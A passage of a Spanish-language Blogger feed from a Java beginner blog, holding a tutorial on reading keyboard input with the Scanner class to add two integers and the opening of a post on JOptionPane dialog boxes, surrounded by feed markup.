border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/OB9As94pQ-c" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/6412757727445413326/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=6412757727445413326" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6412757727445413326?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/6412757727445413326?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/OB9As94pQ-c/instalacion-jdk-netbeans-en-ubuntu.html" title="Instalación JDK + Netbeans en Ubuntu" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-w36G9gCTbW0/TtKi9KDvi-I/AAAAAAAABXA/LI04mZeNbNM/s72-c/JDK_NetBeans_Ubuntu.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/instalacion-jdk-netbeans-en-ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIHQX0_fCp7ImA9WhRREkk.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-8260446267590865983</id><published>2011-11-25T00:59:00.013-06:00</published><updated>2011-11-25T12:58:50.344-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-25T12:58:50.344-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><title>Usando la Clase Scanner para la Entrada de Datos</title><content type="html">&lt;div style="text-align: justify;"&gt;Los objetos de salida estándar System.out permiten a las aplicaciones de Java mostrar caracteres en la ventana de comandos. De manera similar, el objeto que veremos en este post, llamado el &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;objeto de entrada estándar&lt;/span&gt;&lt;/span&gt; System.in permite a las aplicaciones de Java leer la información escrita por el usuario.&lt;br /&gt;&lt;br /&gt;Los programas recuerdan números y otros datos en la memoria de la computadora y acceden a esos datos a través de elementos del programa conocidos como &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;variables&lt;/span&gt;&lt;/span&gt;. En esto post veremos una aplicación donde utilizaremos estos variables para que realicen una operación de suma de dos enteros introducidos por el usuario mediante el teclado.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;//Programa que muestra la suma de dos enteros.&lt;br /&gt;import java.util.Scanner; // Este programa usa la clase Scanner&lt;br /&gt;&lt;br /&gt;public class Suma&lt;br /&gt;{&lt;br /&gt; public static void main ( String args[] )&lt;br /&gt; {&lt;br /&gt;  Scanner entrada = new Scanner( System.in );&lt;br /&gt;  &lt;br /&gt;  int valor1; // Primer Numero a sumar&lt;br /&gt;  int valor2; // Segundo Numero a sumar&lt;br /&gt;  int suma;   // Suma de valor1 y valor2&lt;br /&gt;  &lt;br /&gt;  System.out.print( "Escriba el primer numero a sumar: ");&lt;br /&gt;  valor1 = entrada.nextInt(); // Lee el primer numero del usuario&lt;br /&gt;  &lt;br /&gt;  System.out.print( "Escriba el segundo numero a sumar: ");&lt;br /&gt;  valor2 = entrada.nextInt(); // Lee el segundo numero del usaurio&lt;br /&gt;  &lt;br /&gt;  suma = valor1 + valor2; // Suma el valor1 + valor2&lt;br /&gt;  &lt;br /&gt;  System.out.printf( "La suma es %d\n", suma); // Muestra el resultado&lt;br /&gt; }&lt;br /&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-style: italic;"&gt;Programa que calcula la suma y muestra el resultado en consola.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Salida del Programa.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Escriba el primer numero a sumar: 50&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Escriba el segundo numero a sumar: 75&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;La suma es 125&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;import java.util.Scanner; // Este programa usa la clase Scanner&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;declaración import&lt;/span&gt;&lt;/span&gt; indica que este programa utiliza la &lt;a href="http://docs.oracle.com/javase/7/docs/api/java/util/Scanner.html"&gt;clase Scanner&lt;/a&gt; predefinida de Java del paquete &lt;a href="http://docs.oracle.com/javase/7/docs/api/java/util/package-summary.html"&gt;java.util&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Scanner entrada = new Scanner( System.in );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La línea anterior &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;es una instrucción de declaración de variable&lt;/span&gt;&lt;/span&gt; (también conocido como &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;declaración&lt;/span&gt;&lt;/span&gt;), la cual especifica el nombre (entrada) y tipo (Scanner) de una variable utilizada en este programa. Una &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;variable&lt;/span&gt;&lt;/span&gt; como lo mencionamos, es una ubicación en la memoria de la computadora, en donde se puede guardar un valor para utilizarlo posteriormente  en un programa. Todas las variables deben declararse con un &lt;span style="font-style:italic;"&gt;nombre&lt;/span&gt; y un &lt;span style="font-style:italic;"&gt;tipo&lt;/span&gt; antes de poder usarse. Este nombre permite al programa acceder el valor de la variable en memoria y puede ser cualquier identificador valido. El tipo de una variable especifica el tipo de información que se guarda en esa ubicación de memoria. Al igual que los demás instrucciones, las instrucciones de declaración terminan con un punto y como (;).&lt;br /&gt;&lt;br /&gt;Entonces la variable llamada entrada es de tipo Scanner. Un objeto Scanner permite a un programa leer datos (como números) para usarlos. Los datos pueden provenir de muchas fuentes, como archivos de disco o datos de teclado. Antes de usar el objeto Scanner, primero debemos crearlo y especificar el origen de los datos.&lt;br /&gt;&lt;br /&gt;El signo ( = ) indica que la variable entrada tipo Scanner debe &lt;span style="font-style:italic;"&gt;inicializarse&lt;/span&gt; en su declaración con el resultado de la expresión &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;new Scanner ( System.ini )&lt;/span&gt;&lt;/span&gt; a la derecha del signo igual. Cuando decimos que la variable entrada tipo Scanner debe inicializarse, significa que hay que prepararla para usarla en el programa. Así que esta expresión crea un objeto Scanner que lee los datos escritos por el usuario mediante el teclado.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;int valor1;           // Primer Numero a sumar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;int valor2;           // Segundo Numero a sumar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;int suma;             // Suma de valor1 y valor2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Las líneas anteriores declaran que las variables valor1, valor2 y suma contienen datos de tipo int. Estas variables pueden contener valores enteros. Las instrucciones de declaración de variables pueden dividirse en varias líneas, separando los nombres de las variables por comas. Por ejemplo, las líneas anteriores se pueden declarar como una sola instrucción, de la siguiente manera.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;int valor1, int valor2, int suma; // Declaración de variables en una sola instrucción.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El seleccionar nombres de variables significativos ayudan a que un programa se mas fácil de entender con solo leerlo.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;System.out.print( "Escriba el primer numero a sumar: ");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estas líneas utilizan System.out.print para mostrar el mensaje "Escriba el primer número a sumar: ". Ese mensaje se conoce como &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;indicador&lt;/span&gt;&lt;/span&gt;, ya que indica al usuario que debe realizar una acción específica, en este caso a que introduzca el primer número a sumar. Los identificadores que empiezan con letras mayúsculas representan nombre de clases. Por lo tanto, System es una clase que forma parte del paquete &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;java.lang&lt;/span&gt;&lt;/span&gt;. Esta clase (System) no se importa con una declaración import al principio del programa ya que el paquete java.lang se importa de manera predeterminada en todos los programas de Java. Las clases que se encuentran en el paquete java.lang son las únicas que no requieren una declaración import.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;valor1 = entrada.nextInt(); // Lee el primer numero del usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La línea anterior utiliza el método &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;nextInt&lt;/span&gt;&lt;/span&gt; del objeto entrada de la clase Scanner para obtener un entero introducido por el usuario. El resultado de llamar al método nextInt (un valor int) se coloca en la variable valor1 mediante el uso del &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;operador de asignación =&lt;/span&gt;&lt;/span&gt;. La instrucción se lee como valor1 obtiene el valor de entrada.nextInt(). El operador = se le llama &lt;span style="font-style:italic;"&gt;operador binario&lt;/span&gt;, ya que tiene dos operandos, valor1 y el resultado de la llamada al método entrada.nextInt(). Esta instrucción se le llama &lt;span style="font-style:italic;"&gt;instrucción de asignación&lt;/span&gt;, ya que asigna un valor a una variable. Todo lo que esta después (a la derecha= del operador de asignación (=) se evalúa siempre antes de realizar la asignación.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;System.out.print( "Escriba el segundo numero a sumar: ");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pide al usuario que introduzca el segundo numero a sumar.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;valor2 = entrada.nextInt(); // Lee el segundo numero del usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lee el segundo numero introducido por el usuario y lo asigna a la variable valor2.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;suma = valor1 + valor2;                // Suma el valor1 + valor2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Esta línea es una instrucción de asignación que calcula la suma de las variables valor1 y valor2 y asigna el resultado de estos dos variables a la variable suma mediante el uso del operador de asignación =. La instrucción se lee como suma obtiene el valor de valor1 + valor2. La mayoría de los cálculos se realizan en instrucciones de asignación. Cuando el programa encuentra la operación de suma utiliza los valores almacenados en las variables valor1 y valor2 para realizar el cálculo. La operación de suma es binaria, sus dos operandos son valor1 y valor2. Las  partes de las instrucciones contienen cálculos que se llaman &lt;span style="font-style:italic;"&gt;expresiones&lt;/span&gt;.&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;System.out.printf( "La suma es %d\n", suma); // Muestra el resultado&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez realizado el cálculo, se utiliza el método &lt;span style="font-style:italic;"&gt;Sistem.out.printf&lt;/span&gt; para mostrar la suma en la consola. El especificador &lt;span style="font-style:italic;"&gt;%d&lt;/span&gt; es un receptáculo para un valor int, en este caso, el valor de suma, la letra d representa entero decimal. El método printf imprime en pantalla “La suma es “, seguido del valor de suma y una nueva línea. Los cálculos también pueden realzarse dentro de la instrucción printf, en este caso, también podríamos haberlo hecho de la siguiente manera.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;System.out.printf( "La suma es %d\n", ( valor1 + valor2 ) );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los paréntesis alrededor de la expresión valor1 + valor2 no son requeridos;&lt;br /&gt;&lt;br /&gt;Otro ejemplo sencillo utilizando la clase Scanner.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;import java.util.Scanner;&lt;br /&gt;&lt;br /&gt;public class ClaseScanner &lt;br /&gt;{&lt;br /&gt; public static void main ( String args[] )&lt;br /&gt; {&lt;br /&gt;  int años;&lt;br /&gt;  String nombre;&lt;br /&gt;  &lt;br /&gt;  Scanner entrada = new Scanner( System.in );&lt;br /&gt;  System.out.print( "Escribe tu nombre &gt;&gt; " );&lt;br /&gt;  nombre = entrada.nextLine();&lt;br /&gt;  System.out.print( "Introduce tus años &gt;&gt; " );&lt;br /&gt;  años = entrada.nextInt();&lt;br /&gt;  System.out.println( "Tu nombre es " + nombre + " y tienes " + años + " años ");&lt;br /&gt; }&lt;br /&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-style: italic;"&gt;Escribe tu nombre &amp;gt;&amp;gt; delfirosales&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Introduce tus años &amp;gt;&amp;gt; 10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Tu nombre es delfirosales y tienes 10 años &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://docs.oracle.com/javase/7/docs/api/index.html"&gt;Documentación de la API de Java&lt;/a&gt;&lt;br /&gt;&lt;a href="http://docs.oracle.com/javase/7/docs/api/index.html"&gt;http://docs.oracle.com/javase/7/docs/api/index.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Java-Program-early-objects-Deitel/dp/0132575663"&gt;Java How to Program (early objects) (9thEdition) (Deitel)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-8260446267590865983?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=cUAwbbkIprU:OCJejid0zr4:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=cUAwbbkIprU:OCJejid0zr4:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/cUAwbbkIprU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/8260446267590865983/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=8260446267590865983" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8260446267590865983?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/8260446267590865983?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/cUAwbbkIprU/usando-la-clase-scanner-para-la-entrada.html" title="Usando la Clase Scanner para la Entrada de Datos" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/usando-la-clase-scanner-para-la-entrada.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMMRXcyfCp7ImA9WhRSGUQ.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-5255646805873008890</id><published>2011-11-22T04:50:00.020-06:00</published><updated>2011-11-22T14:24:44.994-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-22T14:24:44.994-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><title>Usando cuadros de diálogo para Entrada/Salida con JOptionPane</title><content type="html">&lt;div style="text-align: justify;"&gt;
En los &lt;a href="http://delfirosales.blogspot.com/2011/11/ejecucion-de-aplicaciones-java-usando.html" ref="http://delfirosales.blogspot.com/2011/11/ejecucion-de-aplicaciones-java-usando.html"&gt;anteriores posts&lt;/a&gt; vimos un par de programas que muestran la salida en la ventana de comandos. Ahora veremos un par de programas de como mostrar la salida o entrada utilizando una ventana o &lt;span style="font-style: italic;"&gt;cuadro de dialogo&lt;/span&gt;. Generalmente muchos programas ofrecen una &lt;a href="http://es.wikipedia.org/wiki/Interfaz_gr%C3%A1fica_de_usuario"&gt;&lt;span style="font-style: italic;"&gt;interfaz gráfica de usuario (GUI)&lt;/span&gt;&lt;/a&gt; o los &lt;span style="font-style: italic;"&gt;cuadros de dialogo&lt;/span&gt; (también llamados &lt;span style="font-style: italic;"&gt;diálogos&lt;/span&gt;) que son ventanas en las que los programas muestran mensajes importantes a los usuarios del programa. Java contiene una clase llamada &lt;span style="font-style: italic; font-weight: bold;"&gt;&lt;a href="http://download.oracle.com/javase/1.4.2/docs/api/javax/swing/JOptionPane.html" ref="http://download.oracle.com/javase/1.4.2/docs/api/javax/swing/JOptionPane.html"&gt;JOptionPane&lt;/a&gt;&lt;/span&gt; que nos permite producir cuadros de dialogo previamente empaquetados, los cuales permiten a los programas mostrar ventanas que contengan mensajes. A estas ventanas se les conoce como &lt;span style="font-style: italic;"&gt;diálogos de mensaje&lt;/span&gt;. Un cuadro de dialogo es un objeto de interfaz gráfica de usuario (GUI), pero ¿cual es la diferencia entre mostrar la salida en consola y en interfaz gráfica?. En consola solo podemos mostrar texto y en una interfaz gráfica de usuario podemos mostrar no solo texto, si no también varios elementos gráficos como &lt;span style="font-style: italic;"&gt;botones&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;barras&lt;/span&gt;, c&lt;span style="font-style: italic;"&gt;asillas de verificación&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;menús&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;cuadros de texto&lt;/span&gt; e &lt;span style="font-style: italic;"&gt;imágenes&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
El método &lt;span style="font-style: italic; font-weight: bold;"&gt;showMessageDialog&lt;/span&gt; es un método especial de la   clase &lt;span style="font-style: italic; font-weight: bold;"&gt;JOptionPane&lt;/span&gt;, el cual se conoce como &lt;span style="font-style: italic; font-weight: bold;"&gt;método &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;static&lt;/span&gt;. Generalmente   los métodos estatic se llaman utilizando el nombre de la clase,   seguido de un punto ( . ) y el nombre del método, tal como se muestra a  continuación.&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-AJxs66r1c6Q/Tst-zNvmJWI/AAAAAAAABV4/nZqUfptySnc/s1600/Clases_Metodos_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677771173558363490" src="http://4.bp.blogspot.com/-AJxs66r1c6Q/Tst-zNvmJWI/AAAAAAAABV4/nZqUfptySnc/s400/Clases_Metodos_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 156px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Proceso de llamar un método estatic.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Uno de los puntos fuertes de Java es su extenso conjunto de clases predefinidas que los programadores pueden usar, en vez de tener que "reinventar todo". Las numerosas clases predefinidas de Java se agrupan en clases relacionadas, conocidas como paquetes. Un paquete es una colección de clases con nombre, estos se conocen colectivamente como &lt;span style="font-style: italic;"&gt;biblioteca de clases&lt;/span&gt;, o la &lt;span style="font-style: italic;"&gt;Interfaz de Programación de Aplicaciones (API) de Java&lt;/span&gt;. Estos paquetes (API) de Java se dividen en &lt;span style="font-style: italic;"&gt;básicos&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;opcionales&lt;/span&gt;. Los nombres de la mayoría de los paquetes del API de Java comienzan, ya sea con "&lt;span style="font-weight: bold;"&gt;java&lt;/span&gt;" (paquetes básicos) o "&lt;span style="font-weight: bold;"&gt;javax&lt;/span&gt;" (paquetes opcionales). Muchos de estos se incluyen como parte del Kit de desarrollo de software para Java.&lt;br /&gt;
&lt;br /&gt;
En este post mostraremos un pequeño programa modificado del &lt;a href="http://delfirosales.blogspot.com/2011/11/ejecucion-de-aplicaciones-java-usando.html" ref="http://delfirosales.blogspot.com/2011/11/ejecucion-de-aplicaciones-java-usando.html"&gt;anterior post&lt;/a&gt; llamado PrimerPrograma para que el texto que muestra en consola, ahora lo muestre en un cuadro de dialogo. Este programa muestra el objeto String “"¡Bienvenido a la programacion en Java!\n\n http://delfirosales.blogspot.com” en un dialogo de mensaje (o cuadro de dialogo).&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: #9fc5e8;"&gt;//usando JOptionPane para mostrar la salida en un cuadro de dialogo.

import javax.swing.JOptionPane;

public class PrimerPrograma {
 
 public static void main ( String args [] )
 {
  JOptionPane.showMessageDialog( null, "¡Bienvenido a la programacion en Java!\n
  \n http://delfirosales.blogspot.com" );
 }
}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style="text-align: justify;"&gt;
En este ejemplo utilizamos la clase predefinida de Java JOptionPane, la cual se encuentra en el paquete &lt;span style="font-style: italic; font-weight: bold;"&gt;javax.swing&lt;/span&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #33ff33;"&gt;import javax.swing.JOptionPane;    //Este programa usa JOptionPane&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
